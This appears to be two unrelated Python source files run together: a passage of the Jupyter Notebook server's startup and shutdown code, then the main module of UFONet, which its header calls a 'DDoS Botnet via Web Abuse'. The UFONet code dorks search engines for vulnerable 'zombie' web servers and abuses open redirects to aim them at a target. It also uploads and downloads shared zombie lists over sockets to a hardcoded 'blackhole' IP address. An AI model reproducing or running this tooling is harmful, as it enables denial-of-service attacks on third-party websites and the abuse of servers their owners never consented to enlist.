help=("Shut down the server after N seconds with no kernels or "
"terminals running and no activity. "
"This can be used together with culling idle kernels "
"(MappingKernelManager.cull_idle_timeout) to "
"shutdown the notebook server when it's not in use. This is not "
"precisely timed: it may shut down up to a minute later. "
"0 (the default) disables this automatic shutdown.")
)
terminals_enabled = Bool(True, config=True,
help=_("""Set to False to disable terminals.
This does *not* make the notebook server more secure by itself.
Anything the user can in a terminal, they can also do in a notebook.
Terminals may also be automatically disabled if the terminado package
is not available.
"""))
def parse_command_line(self, argv=None):
super(NotebookApp, self).parse_command_line(argv)
if self.extra_args:
arg0 = self.extra_args[0]
f = os.path.abspath(arg0)
self.argv.remove(arg0)
if not os.path.exists(f):
self.log.critical(_("No such file or directory: %s"), f)
self.exit(1)
# Use config here, to ensure that it takes higher priority than
# anything that comes from the config dirs.
c = Config()
if os.path.isdir(f):
c.NotebookApp.notebook_dir = f
elif os.path.isfile(f):
c.NotebookApp.file_to_run = f
self.update_config(c)
def init_configurables(self):
self.kernel_spec_manager = self.kernel_spec_manager_class(
parent=self,
)
self.kernel_manager = self.kernel_manager_class(
parent=self,
log=self.log,
connection_dir=self.runtime_dir,
kernel_spec_manager=self.kernel_spec_manager,
)
self.contents_manager = self.contents_manager_class(
parent=self,
log=self.log,
)
self.session_manager = self.session_manager_class(
parent=self,
log=self.log,
kernel_manager=self.kernel_manager,
contents_manager=self.contents_manager,
)
self.config_manager = self.config_manager_class(
parent=self,
log=self.log,
)
def init_logging(self):
# This prevents double log messages because tornado use a root logger that
# self.log is a child of. The logging module dipatches log messages to a log
# and all of its ancenstors until propagate is set to False.
self.log.propagate = False
for log in app_log, access_log, gen_log:
# consistent log output name (NotebookApp instead of tornado.access, etc.)
log.name = self.log.name
# hook up tornado 3's loggers to our app handlers
logger = logging.getLogger('tornado')
logger.propagate = True
logger.parent = self.log
logger.setLevel(self.log.level)
def init_webapp(self):
"""initialize tornado webapp and httpserver"""
self.tornado_settings['allow_origin'] = self.allow_origin
self.tornado_settings['websocket_compression_options'] = self.websocket_compression_options
if self.allow_origin_pat:
self.tornado_settings['allow_origin_pat'] = re.compile(self.allow_origin_pat)
self.tornado_settings['allow_credentials'] = self.allow_credentials
self.tornado_settings['cookie_options'] = self.cookie_options
self.tornado_settings['token'] = self.token
if (self.open_browser or self.file_to_run) and not self.password:
self.one_time_token = binascii.hexlify(os.urandom(24)).decode('ascii')
self.tornado_settings['one_time_token'] = self.one_time_token
# ensure default_url starts with base_url
if not self.default_url.startswith(self.base_url):
self.default_url = url_path_join(self.base_url, self.default_url)
if self.password_required and (not self.password):
self.log.critical(_("Notebook servers are configured to only be run with a password."))
self.log.critical(_("Hint: run the following command to set a password"))
self.log.critical(_("\t$ python -m notebook.auth password"))
sys.exit(1)
self.web_app = NotebookWebApplication(
self, self.kernel_manager, self.contents_manager,
self.session_manager, self.kernel_spec_manager,
self.config_manager, self.extra_services,
self.log, self.base_url, self.default_url, self.tornado_settings,
self.jinja_environment_options,
)
ssl_options = self.ssl_options
if self.certfile:
ssl_options['certfile'] = self.certfile
if self.keyfile:
ssl_options['keyfile'] = self.keyfile
if self.client_ca:
ssl_options['ca_certs'] = self.client_ca
if not ssl_options:
# None indicates no SSL config
ssl_options = None
else:
# SSL may be missing, so only import it if it's to be used
import ssl
# Disable SSLv3 by default, since its use is discouraged.
ssl_options.setdefault('ssl_version', ssl.PROTOCOL_TLSv1)
if ssl_options.get('ca_certs', False):
ssl_options.setdefault('cert_reqs', ssl.CERT_REQUIRED)
self.login_handler_class.validate_security(self, ssl_options=ssl_options)
self.http_server = httpserver.HTTPServer(self.web_app, ssl_options=ssl_options,
xheaders=self.trust_xheaders)
success = None
for port in random_ports(self.port, self.port_retries+1):
try:
self.http_server.listen(port, self.ip)
except socket.error as e:
if e.errno == errno.EADDRINUSE:
self.log.info(_('The port %i is already in use, trying another port.') % port)
continue
elif e.errno in (errno.EACCES, getattr(errno, 'WSAEACCES', errno.EACCES)):
self.log.warning(_("Permission to listen on port %i denied") % port)
continue
else:
raise
else:
self.port = port
success = True
break
if not success:
self.log.critical(_('ERROR: the notebook server could not be started because '
'no available port could be found.'))
self.exit(1)
@property
def display_url(self):
if self.custom_display_url:
url = self.custom_display_url
if not url.endswith('/'):
url += '/'
else:
if self.ip in ('', '0.0.0.0'):
ip = "(%s or 127.0.0.1)" % socket.gethostname()
else:
ip = self.ip
url = self._url(ip)
if self.token:
# Don't log full token if it came from config
token = self.token if self._token_generated else '...'
url = url_concat(url, {'token': token})
return url
@property
def connection_url(self):
ip = self.ip if self.ip else 'localhost'
return self._url(ip)
def _url(self, ip):
proto = 'https' if self.certfile else 'http'
return "%s://%s:%i%s" % (proto, ip, self.port, self.base_url)
def init_terminals(self):
if not self.terminals_enabled:
return
try:
from .terminal import initialize
initialize(self.web_app, self.notebook_dir, self.connection_url, self.terminado_settings)
self.web_app.settings['terminals_available'] = True
except ImportError as e:
self.log.warning(_("Terminals not available (error was %s)"), e)
def init_signal(self):
if not sys.platform.startswith('win') and sys.stdin and sys.stdin.isatty():
signal.signal(signal.SIGINT, self._handle_sigint)
signal.signal(signal.SIGTERM, self._signal_stop)
if hasattr(signal, 'SIGUSR1'):
# Windows doesn't support SIGUSR1
signal.signal(signal.SIGUSR1, self._signal_info)
if hasattr(signal, 'SIGINFO'):
# only on BSD-based systems
signal.signal(signal.SIGINFO, self._signal_info)
def _handle_sigint(self, sig, frame):
"""SIGINT handler spawns confirmation dialog"""
# register more forceful signal handler for ^C^C case
signal.signal(signal.SIGINT, self._signal_stop)
# request confirmation dialog in bg thread, to avoid
# blocking the App
thread = threading.Thread(target=self._confirm_exit)
thread.daemon = True
thread.start()
def _restore_sigint_handler(self):
"""callback for restoring original SIGINT handler"""
signal.signal(signal.SIGINT, self._handle_sigint)
def _confirm_exit(self):
"""confirm shutdown on ^C
A second ^C, or answering 'y' within 5s will cause shutdown,
otherwise original SIGINT handler will be restored.
This doesn't work on Windows.
"""
info = self.log.info
info(_('interrupted'))
print(self.notebook_info())
yes = _('y')
no = _('n')
sys.stdout.write(_("Shutdown this notebook server (%s/[%s])? ") % (yes, no))
sys.stdout.flush()
r,w,x = select.select([sys.stdin], [], [], 5)
if r:
line = sys.stdin.readline()
if line.lower().startswith(yes) and no not in line.lower():
self.log.critical(_("Shutdown confirmed"))
# schedule stop on the main thread,
# since this might be called from a signal handler
self.io_loop.add_callback_from_signal(self.io_loop.stop)
return
else:
print(_("No answer for 5s:"), end=' ')
print(_("resuming operation..."))
# no answer, or answer is no:
# set it back to original SIGINT handler
# use IOLoop.add_callback because signal.signal must be called
# from main thread
self.io_loop.add_callback_from_signal(self._restore_sigint_handler)
def _signal_stop(self, sig, frame):
self.log.critical(_("received signal %s, stopping"), sig)
self.io_loop.add_callback_from_signal(self.io_loop.stop)
def _signal_info(self, sig, frame):
print(self.notebook_info())
def init_components(self):
"""Check the components submodule, and warn if it's unclean"""
# TODO: this should still check, but now we use bower, not git submodule
pass
def init_server_extensions(self):
"""Load any extensions specified by config.
Import the module, then call the load_jupyter_server_extension function,
if one exists.
The extension API is experimental, and may change in future releases.
"""
# TODO: Remove me in notebook 5.0
for modulename in self.server_extensions:
# Don't override disable state of the extension if it already exist
# in the new traitlet
if not modulename in self.nbserver_extensions:
self.nbserver_extensions[modulename] = True
# Load server extensions with ConfigManager.
# This enables merging on keys, which we want for extension enabling.
# Regular config loading only merges at the class level,
# so each level (user > env > system) clobbers the previous.
config_path = jupyter_config_path()
if self.config_dir not in config_path:
# add self.config_dir to the front, if set manually
config_path.insert(0, self.config_dir)
manager = ConfigManager(read_config_path=config_path)
section = manager.get(self.config_file_name)
extensions = section.get('NotebookApp', {}).get('nbserver_extensions', {})
for modulename, enabled in self.nbserver_extensions.items():
if modulename not in extensions:
# not present in `extensions` means it comes from Python config,
# so we need to add it.
# Otherwise, trust ConfigManager to have loaded it.
extensions[modulename] = enabled
for modulename, enabled in sorted(extensions.items()):
if enabled:
try:
mod = importlib.import_module(modulename)
func = getattr(mod, 'load_jupyter_server_extension', None)
if func is not None:
func(self)
except Exception:
if self.reraise_server_extension_failures:
raise
self.log.warning(_("Error loading server extension %s"), modulename,
exc_info=True)
def init_mime_overrides(self):
# On some Windows machines, an application has registered an incorrect
# mimetype for CSS in the registry. Tornado uses this when serving
# .css files, causing browsers to reject the stylesheet. We know the
# mimetype always needs to be text/css, so we override it here.
mimetypes.add_type('text/css', '.css')
def shutdown_no_activity(self):
"""Shutdown server on timeout when there are no kernels or terminals."""
km = self.kernel_manager
if len(km) != 0:
return # Kernels still running
try:
term_mgr = self.web_app.settings['terminal_manager']
except KeyError:
pass # Terminals not enabled
else:
if term_mgr.terminals:
return # Terminals still running
seconds_since_active = \
(utcnow() - self.web_app.last_activity()).total_seconds()
self.log.debug("No activity for %d seconds.",
seconds_since_active)
if seconds_since_active > self.shutdown_no_activity_timeout:
self.log.info("No kernels or terminals for %d seconds; shutting down.",
seconds_since_active)
self.stop()
def init_shutdown_no_activity(self):
if self.shutdown_no_activity_timeout > 0:
self.log.info("Will shut down after %d seconds with no kernels or terminals.",
self.shutdown_no_activity_timeout)
pc = ioloop.PeriodicCallback(self.shutdown_no_activity, 60000)
pc.start()
@catch_config_error
def initialize(self, argv=None):
super(NotebookApp, self).initialize(argv)
self.init_logging()
if self._dispatching:
return
self.init_configurables()
self.init_components()
self.init_webapp()
self.init_terminals()
self.init_signal()
self.init_server_extensions()
self.init_mime_overrides()
self.init_shutdown_no_activity()
def cleanup_kernels(self):
"""Shutdown all kernels.
The kernels will shutdown themselves when this process no longer exists,
but explicit shutdown allows the KernelManagers to cleanup the connection files.
"""
n_kernels = len(self.kernel_manager.list_kernel_ids())
kernel_msg = trans.ngettext('Shutting down %d kernel', 'Shutting down %d kernels', n_kernels)
self.log.info(kernel_msg % n_kernels)
self.kernel_manager.shutdown_all()
def notebook_info(self, kernel_count=True):
"Return the current working directory and the server url information"
info = self.contents_manager.info_string() + "\n"
if kernel_count:
n_kernels = len(self.kernel_manager.list_kernel_ids())
kernel_msg = trans.ngettext("%d active kernel", "%d active kernels", n_kernels)
info += kernel_msg % n_kernels
info += "\n"
# Format the info so that the URL fits on a single line in 80 char display
info += _("The Jupyter Notebook is running at:\n%s") % self.display_url
return info
def server_info(self):
"""Return a JSONable dict of information about this server."""
return {'url': self.connection_url,
'hostname': self.ip if self.ip else 'localhost',
'port': self.port,
'secure': bool(self.certfile),
'base_url': self.base_url,
'token': self.token,
'notebook_dir': os.path.abspath(self.notebook_dir),
'password': bool(self.password),
'pid': os.getpid(),
}
def write_server_info_file(self):
"""Write the result of server_info() to the JSON file info_file."""
try:
with open(self.info_file, 'w') as f:
json.dump(self.server_info(), f, indent=2, sort_keys=True)
except OSError as e:
self.log.error(_("Failed to write server-info to %s: %s"),
self.info_file, e)
def remove_server_info_file(self):
"""Remove the nbserver-<pid>.json file created for this server.
Ignores the error raised when the file has already been removed.
"""
try:
os.unlink(self.info_file)
except OSError as e:
if e.errno != errno.ENOENT:
raise
def start(self):
""" Start the Notebook server app, after initialization
This method takes no arguments so all configuration and initialization
must be done prior to calling this method."""
super(NotebookApp, self).start()
if not self.allow_root:
# check if we are running as root, and abort if it's not allowed
try:
uid = os.geteuid()
except AttributeError:
uid = -1 # anything nonzero here, since we can't check UID assume non-root
if uid == 0:
self.log.critical(_("Running as root is not recommended. Use --allow-root to bypass."))
self.exit(1)
info = self.log.info
for line in self.notebook_info(kernel_count=False).split("\n"):
info(line)
info(_("Use Control-C to stop this server and shut down all kernels (twice to skip confirmation)."))
if 'dev' in notebook.__version__:
info(_("Welcome to Project Jupyter! Explore the various tools available"
" and their corresponding documentation. If you are interested"
" in contributing to the platform, please visit the community"
"resources section at https://jupyter.org/community.html."))
self.write_server_info_file()
if self.open_browser or self.file_to_run:
try:
browser = webbrowser.get(self.browser or None)
except webbrowser.Error as e:
self.log.warning(_('No web browser found: %s.') % e)
browser = None
if self.file_to_run:
if not os.path.exists(self.file_to_run):
self.log.critical(_("%s does not exist") % self.file_to_run)
self.exit(1)
relpath = os.path.relpath(self.file_to_run, self.notebook_dir)
uri = url_escape(url_path_join('notebooks', *relpath.split(os.sep)))
else:
# default_url contains base_url, but so does connection_url
uri = self.default_url[len(self.base_url):]
if self.one_time_token:
uri = url_concat(uri, {'token': self.one_time_token})
if browser:
b = lambda : browser.open(url_path_join(self.connection_url, uri),
new=self.webbrowser_open_new)
threading.Thread(target=b).start()
if self.token and self._token_generated:
# log full URL with generated token, so there's a copy/pasteable link
# with auth info.
self.log.critical('\n'.join([
'\n',
'Copy/paste this URL into your browser when you connect for the first time,',
'to login with a token:',
' %s' % self.display_url,
]))
self.io_loop = ioloop.IOLoop.current()
if sys.platform.startswith('win'):
# add no-op to wake every 5s
# to handle signals that may be ignored by the inner loop
pc = ioloop.PeriodicCallback(lambda : None, 5000)
pc.start()
try:
self.io_loop.start()
except KeyboardInterrupt:
info(_("Interrupted..."))
finally:
self.remove_server_info_file()
self.cleanup_kernels()
def stop(self):
def _stop():
self.http_server.stop()
self.io_loop.stop()
self.io_loop.add_callback(_stop)
def list_running_servers(runtime_dir=None):
"""Iterate over the server info files of running notebook servers.
Given a runtime directory, find nbserver-* files in the security directory,
and yield dicts of their information, each one pertaining to
a currently running notebook server instance.
"""
if runtime_dir is None:
runtime_dir = jupyter_runtime_dir()
# The runtime dir might not exist
if not os.path.isdir(runtime_dir):
return
for file_name in os.listdir(runtime_dir):
if file_name.startswith('nbserver-'):
with io.open(os.path.join(runtime_dir, file_name), encoding='utf-8') as f:
info = json.load(f)
# Simple check whether that process is really still running
# Also remove leftover files from IPython 2.x without a pid field
if ('pid' in info) and check_pid(info['pid']):
yield info
else:
# If the process has died, try to delete its info file
try:
os.unlink(os.path.join(runtime_dir, file_name))
except OSError:
pass # TODO: This should warn or log or something
#-----------------------------------------------------------------------------
# Main entry point
#-----------------------------------------------------------------------------
main = launch_new_instance = NotebookApp.launch_instance
|
main.py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-"
"""
UFONet - DDoS Botnet via Web Abuse - 2013/2014/2015 - by psy (epsylon@riseup.net)
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os, sys, re, traceback, random, time, threading, base64, socket, httplib
import StringIO, urllib, urllib2, cgi
from urlparse import urlparse
from random import randrange, shuffle
from options import UFONetOptions
from update import Updater
from herd import Herd
from zombie import Zombie
from doll import Doll
DEBUG = 0
class UFONet(object):
def __init__(self):
self.mothership_ids = [] # generating name/id for your mothership ;-)
self.mothership_ids.append(base64.urlsafe_b64encode('avalon'))
self.mothership_ids.append(base64.urlsafe_b64encode('cruiser'))
self.mothership_ids.append(base64.urlsafe_b64encode('darkstar'))
self.mothership_ids.append(base64.urlsafe_b64encode('morgana'))
self.mothership_ids.append(base64.urlsafe_b64encode('sweetcandy'))
self.mothership_ids.append(base64.urlsafe_b64encode('io'))
self.mothership_ids.append(base64.urlsafe_b64encode('lain'))
self.mothership_ids.append(base64.urlsafe_b64encode('manhattan'))
self.mothership_ids.append(base64.urlsafe_b64encode('skywalker'))
self.mothership_ids.append(base64.urlsafe_b64encode('defender'))
self.mothership_ids.append(base64.urlsafe_b64encode('casiopea'))
self.mothership_ids.append(base64.urlsafe_b64encode('orion'))
self.mothership_ids.append(base64.urlsafe_b64encode('pluto'))
self.mothership_ids.append(base64.urlsafe_b64encode('cosmic banana'))
self.mothership_ids.append(base64.urlsafe_b64encode('lucio'))
self.mothership_id = random.choice(self.mothership_ids).strip()
self.mothership_hash = random.getrandbits(128) # generating random evasion hash
self.search_engines = [] # available dorking search engines
self.search_engines.append('duck')
self.search_engines.append('google')
self.search_engines.append('bing')
self.search_engines.append('yahoo')
self.search_engines.append('yandex')
self.check_engines = [] # available 'check is up' engines with payload: checker.xxx/target
self.check_engines.append('http://www.downforeveryoneorjustme.com/')
self.check_engines.append('http://www.isup.me/')
self.agents = [] # user-agents
self.agents.append('Mozilla/5.0 (iPhone; U; CPU iOS 2_0 like Mac OS X; en-us)')
self.agents.append('Mozilla/5.0 (Linux; U; Android 0.5; en-us)')
self.agents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)')
self.agents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)')
self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13')
self.agents.append('Opera/9.25 (Windows NT 6.0; U; en)')
self.agents.append('Mozilla/2.02E (Win95; U)')
self.agents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
self.agents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)')
self.agents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5)')
self.agents.append('(Privoxy/1.0)')
self.agents.append('CERN-LineMode/2.15')
self.agents.append('cg-eye interactive')
self.agents.append('China Local Browser 2.6')
self.agents.append('ClariaBot/1.0')
self.agents.append('Comos/0.9_(robot@xyleme.com)')
self.agents.append('Crawler@alexa.com')
self.agents.append('DonutP; Windows98SE')
self.agents.append('Dr.Web (R) online scanner: http://online.drweb.com/')
self.agents.append('Dragonfly File Reader')
self.agents.append('Eurobot/1.0 (http://www.ayell.eu)')
self.agents.append('FARK.com link verifier')
self.agents.append('FavIconizer')
self.agents.append('Feliz - Mixcat Crawler (+http://mixcat.com)')
self.agents.append('TwitterBot (http://www.twitter.com)')
self.user_agent = random.choice(self.agents).strip()
self.referer = 'http://127.0.0.1/'
self.head = False
self.payload = False
self.external = False
self.attack_mode = False
self.retries = ''
self.delay = ''
self.connection_failed = False
self.total_possible_zombies = 0
self.herd = Herd(self)
self.sem = False
self.port = "8080" # default UFONet injection port
self.blackhole = '176.28.23.46' # download/upload zombies destination
def create_options(self, args=None):
self.optionParser = UFONetOptions()
self.options = self.optionParser.get_options(args)
if not self.options:
return False
return self.options
def try_running(self, func, error, args=None):
options = self.options
args = args or []
try:
return func(*args)
except Exception as e:
print(error, "error")
if DEBUG:
traceback.print_exc()
def run(self, opts=None):
if opts:
self.create_options(opts)
options = self.options
# start threads
if not self.options.threads:
self.options.threads=5 # default number of threads
self.sem = threading.Semaphore(self.options.threads)
# check proxy options
proxy = options.proxy
if options.proxy:
try:
pattern = 'http[s]?://(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]):[0-9][0-9][0-9][0-9]'
m = re.search(pattern, proxy)
if m is None:
print ("\n[Error] - Proxy malformed!\n")
return #sys.exit(2)
except Exception:
print ("\n[Error] - Proxy malformed!\n")
return #sys.exit(2)
# check tor connection
if options.checktor:
try:
print("\nSending request to: https://check.torproject.org\n")
tor_reply = urllib2.urlopen("https://check.torproject.org").read()
your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
if not tor_reply or 'Congratulations' not in tor_reply:
print("It seems that Tor is not properly set.\n")
print("Your IP address appears to be: " + your_ip + "\n")
else:
print("Congratulations!. Tor is properly being used :-)\n")
print("Your IP address appears to be: " + your_ip + "\n")
except:
print("Cannot reach TOR checker system!. Are you correctly connected?\n")
# search for 'zombies' on search engines results
if options.search:
zombies = []
if options.engine:
engine = options.engine
else:
engine = "duck"
try:
if options.allengines:
for e in self.search_engines:
engine = e
print("\nSearching for 'zombies' using: "+engine+"\n")
print '='*22 + '\n'
self.options.engine = engine
zombies_chain = self.search_zombies(dork='')
if zombies_chain != None:
for zombie in zombies_chain:
zombies.append(zombie)
print '='*44
print "\nTotal zombies found: ", len(zombies), "\n"
print '='*44 + '\n'
else:
print("\nSearching for 'zombies' using: "+engine+"\n")
print '='*22 + '\n'
zombies = self.search_zombies(dork='')
if zombies == None:
check_url_link_reply = "N"
pass
else:
if not self.options.forceyes:
check_url_link_reply = raw_input("Wanna check if they are valid zombies? (Y/n)\n")
else:
check_url_link_reply = "Y"
if check_url_link_reply == "n" or check_url_link_reply == "N":
print "\nBye!\n"
else:
test = self.testing(zombies)
except Exception:
print ("[Error] - Something wrong searching!\n")
# search for 'zombies' from a list of 'dorks'
if options.dorks:
if options.engine:
engine = options.engine
else:
engine = "duck"
try:
if options.allengines:
zombies = []
for e in self.search_engines:
engine = e
print("\nSearching for 'zombies' using: "+engine+ " [from a list of 'dorks']\n")
self.options.engine = engine
dorks = self.extract_dorks()
if not dorks:
return
for dork in dorks:
print '='*22
print "Dork:", dork
print '='*22 + '\n'
dorked_zombies = self.search_zombies(dork)
if dorked_zombies != None:
for zombie in dorked_zombies:
zombies.append(zombie)
else:
print("\nSearching for 'zombies' using: "+engine+ " [from a list of 'dorks']\n")
dorks = self.extract_dorks()
if not dorks:
return
zombies = []
for dork in dorks:
print '='*22
print "Dork:", dork
print '='*22 + '\n'
dorked_zombies = self.search_zombies(dork)
for zombie in dorked_zombies:
zombies.append(zombie)
print '='*44
print '=Total Possible Zombies:', str(self.total_possible_zombies)
print '='*44 + '\n'
if str(self.total_possible_zombies) == '0':
print "Not any victim(s) found... Bye!\n"
return #sys.exit(2)
if not self.options.forceyes:
check_url_link_reply = raw_input("Wanna check if they are valid zombies? (Y/n)\n")
print '-'*25
else:
check_url_link_reply = "Y"
if check_url_link_reply == "n" or check_url_link_reply == "N":
print "\nBye!\n"
else:
test = self.testing(zombies)
except Exception:
print ("[Error] - Something wrong searching!\n")
# test web 'zombie' servers -> show statistics
if options.test:
try:
zombies = self.extract_zombies()
if not zombies:
return
test = self.testing(zombies)
except Exception:
print ("\n[Error] - Something wrong testing!\n")
traceback.print_exc()
# attack target -> exploit Open Redirect massively and connect all vulnerable servers to a target
if options.target:
try:
zombies = self.extract_zombies()
if not zombies:
return
attack = self.attacking(zombies)
except Exception:
print ("\n[Error] - Something wrong attacking!\n")
traceback.print_exc()
# inspect target -> inspect target's components sizes
if options.inspect:
try:
print("\nInspecting target to find the best place to attack... SSssh!\n")
print '='*22 + '\n'
inspection = self.inspecting()
except Exception, e:
traceback.print_exc()
print ("\n[Error] - Something wrong inspecting... Not any object found!\n")
return #sys.exit(2)
# attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
if options.attackme:
try:
print("\nOrdering 'zombies' to attack you for benchmarking ;-)\n")
print("[Warning] You are going to reveal your real IP to your zombies...\n")
if not self.options.forceyes:
update_reply = raw_input("Wanna continue (Y/n)")
print '-'*25
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
print "\n[Info] Aborting 'Attack-Me' test... Bye!\n"
return
print '='*22
print("Mothership ID: " + str(base64.b64decode(self.mothership_id))) + " | RND: " + str(self.mothership_hash)
f = open("alien", "w") # generate random alien worker
f.write(str(self.mothership_hash))
f.close()
print '='*22 + '\n'
print("Checking NAT/IP configuration:\n")
nat = self.check_nat()
zombies = self.extract_zombies()
if not zombies:
return
attackme = self.attackme(zombies)
except Exception, e:
traceback.print_exc()
print ("\n[Error] - Something wrong redirecting 'zombies' against you...\n")
return #sys.exit(2)
# # crawl target -> crawl target's places
# if options.crawl:
# try:
# self.banner()
# print("\nCrawlering target's links to discover web structure...\n")
# print '='*22 + '\n'
# crawler = self.crawlering()
# except Exception, e:
# print ("[Error] - Something wrong crawlering!\n")
# return #sys.exit(2)
# check/update for latest stable version
if options.update:
try:
print("\nTrying to update automatically to the latest stable version\n")
Updater()
except:
print("\nSomething was wrong!. You should clone UFONet manually with:\n")
print("$ git clone https://github.com/epsylon/ufonet\n")
# launch GUI/Web interface
if options.web:
self.create_web_interface()
return
# generate 'blackhole' server to share 'zombies'
if options.blackhole is not None:
try:
blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add 'blackhole' lib
sys.path.append(blackhole_lib)
from server.blackhole import BlackHole
print("\nInitiating void generation sequence...\n")
print '='*22 + '\n'
app = BlackHole()
app.start()
while True: time.sleep(1)
except KeyboardInterrupt:
print("\nTerminating void generation sequence...\n")
app.collapse()
except Exception, e:
print "[Error] "+str(e)
print("\nSomething was wrong generating 'blackhole'. Aborting...\n")
# download list of 'zombies' from a 'blackhole' IP
if options.dip is not None:
options.download = True
self.blackhole = options.dip
# download list of 'zombies' from server
if options.download:
try:
if options.dip is not None:
print("\nDownloading list of 'zombies' from server "+self.blackhole+" ...\n")
else:
print("\nDownloading list of 'zombies' from server ...\n")
print '='*22 + '\n'
download_list = self.downloading_list()
except Exception, e:
print ("[Error] - Something wrong downloading!\n"+str(e))
return #sys.exit(2)
# upload list of 'zombies' to a 'blackhole' IP
if options.upip is not None:
options.upload = True
self.blackhole = options.upip
# upload list of 'zombies' to server
if options.upload:
try:
if options.upip is not None:
print("\nUploading list of 'zombies' to server "+self.blackhole+" ...\n")
else:
print("\nUploading list of 'zombies' to server ...\n")
print '='*22 + '\n'
upload_list = self.uploading_list()
except Exception, e:
print ("[Error] - Something wrong uploading!\n"+str(e))
traceback.print_exc()
return #sys.exit(2)
# starting new zombie thread
def connect_zombies(self,zombie):
z=Zombie(self,zombie)
t = threading.Thread(target=z.connect, name=zombie)
t.start()
# single connection handling
def connect_zombie(self,zombie):
z=Zombie(self,zombie)
return z.connect()
def uploading_list(self):
import gzip
abductions = "abductions.txt.gz"
try:
print("Checking integrity of 'blackhole'...\n")
urllib.urlretrieve('http://'+self.blackhole+'/ufonet/abductions.txt.gz', # Turina
abductions)
print("Vortex: IS READY!")
f_in = gzip.open(abductions, 'rb')
f_out = open('abductions.txt', 'wb')
f_out.write(f_in.read())
f_in.close()
f_out.close()
os.remove(abductions) # remove .gz file
num_zombies = 0
with open('abductions.txt') as f:
for _ in f:
num_zombies = num_zombies + 1
print("\n[Info] - Number of 'zombies' on 'blackhole': "+ str(num_zombies))
print '-'*12 + '\n'
if not self.options.forceyes:
update_reply = raw_input("Wanna merge ONLY new 'zombies' to server (Y/n)")
print '-'*25
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
os.remove('abductions.txt') # remove .txt file
print "\n[Info] - Aborting upload process and cleaning temporal files. Bye!\n"
return
else:
print "\n[Info] - Checking integrity of your list of 'zombies'. Starting test!\n" # only upload valid zombies
print '='*35
zombies = self.extract_zombies()
if not zombies:
return
test = self.testing(zombies)
zombies_community = []
zombies_added = 0
f = open('abductions.txt')
abductions = f.readlines()
abductions = [abduction.strip() for abduction in abductions]
f.close()
fz = open("zombies.txt")
zombies = fz.readlines()
zombies = [zombie.strip() for zombie in zombies]
fz.close()
for zombie in zombies:
if zombie not in abductions:
zombies_community.append(zombie)
zombies_added = zombies_added + 1
else:
pass
print '-'*12 + '\n'
print("[Info] - Number of new 'zombies' to be added: " + str(zombies_added) + '\n')
print '-'*12 + '\n'
if zombies_added == 0:
os.remove('abductions.txt') # remove .txt file
print("[Info] - Hehehe.. You should try to search for new 'zombies'. These are already in the server. ;-)\n")
return
else:
fc = gzip.open('community.txt.gz', 'wb')
for zombie in zombies_community:
fc.write(zombie.strip()+"\n")
fc.close()
os.remove('abductions.txt') # remove .txt file
print("[Info] - Starting to upload new 'zombies'...\n")
try: # open a socket and send data to ufonet_community reciever
import socket
host = self.blackhole
cport = 9991
mport = 9990
try:
cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
cs.connect((host, cport))
cs.send("SEND " + 'community.txt.gz')
cs.close()
time.sleep(2)
ms = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ms.connect((host, mport))
f = open('community.txt.gz', "rb")
data = f.read()
f.close()
ms.send(data)
ms.close()
os.remove('community.txt.gz') # remove local .gz file after transfer
print '-'*12 + '\n'
print("[Info] - Transfer: DONE!. Thanks for your contribution ;-)\n")
except Exception, e:
print str(e) + "\n"
except:
print '-'*12 + '\n'
print("[Error] - Connecting sockets to 'blackhole'. Aborting!\n")
return
except:
print '-'*12 + '\n'
print("[Error] - Unable to upload list of 'zombies' to server. ;(\n")
return #sys.exit(2)
def downloading_list(self): # add your mirror to protect zombies list
import urllib, gzip
abductions = "abductions.txt.gz"
try:
print("Trying 'blackhole': "+self.blackhole+"\n")
urllib.urlretrieve('http://'+self.blackhole+'/ufonet/abductions.txt.gz',
abductions)
print("Vortex: IS READY!")
except:
print("Vortex: FAILED!")
print '-'*12 + '\n'
print("[Error] - Unable to download list of 'zombies' from 'blackhole' ;(\n")
return #sys.exit(2)
print '-'*12 + '\n'
f_in = gzip.open(abductions, 'rb')
f_out = open('abductions.txt', 'wb')
f_out.write(f_in.read())
f_in.close()
f_out.close()
os.remove(abductions) # remove .gz file
num_zombies = 0
with open('abductions.txt') as f:
for _ in f:
num_zombies = num_zombies + 1
print("[Info] - Congratulations!. Total of 'zombies' downloaded: " + str(num_zombies))
print '-'*12
if not self.options.forceyes:
update_reply = raw_input("\nWanna merge ONLY new 'zombies' to your army (Y/n)")
print '-'*25
else:
update_reply = "Y"
if update_reply == "n" or update_reply == "N":
os.remove('abductions.txt') # remove .txt file
print "\n[Info] - List downloaded has been removed. Bye!\n"
else:
zombies_ready = []
f = open('abductions.txt')
abductions = f.readlines()
f.close()
fz = open("zombies.txt")
zombies = fz.readlines()
fz.close()
for abduction in abductions:
abduction = abduction.replace('\n','')
if abduction not in zombies:
zombies_ready.append(abduction)
else:
pass
self.update_zombies(zombies_ready)
os.remove('abductions.txt') # remove .txt file
print "\n[Info] - Botnet updated! ;-)\n"
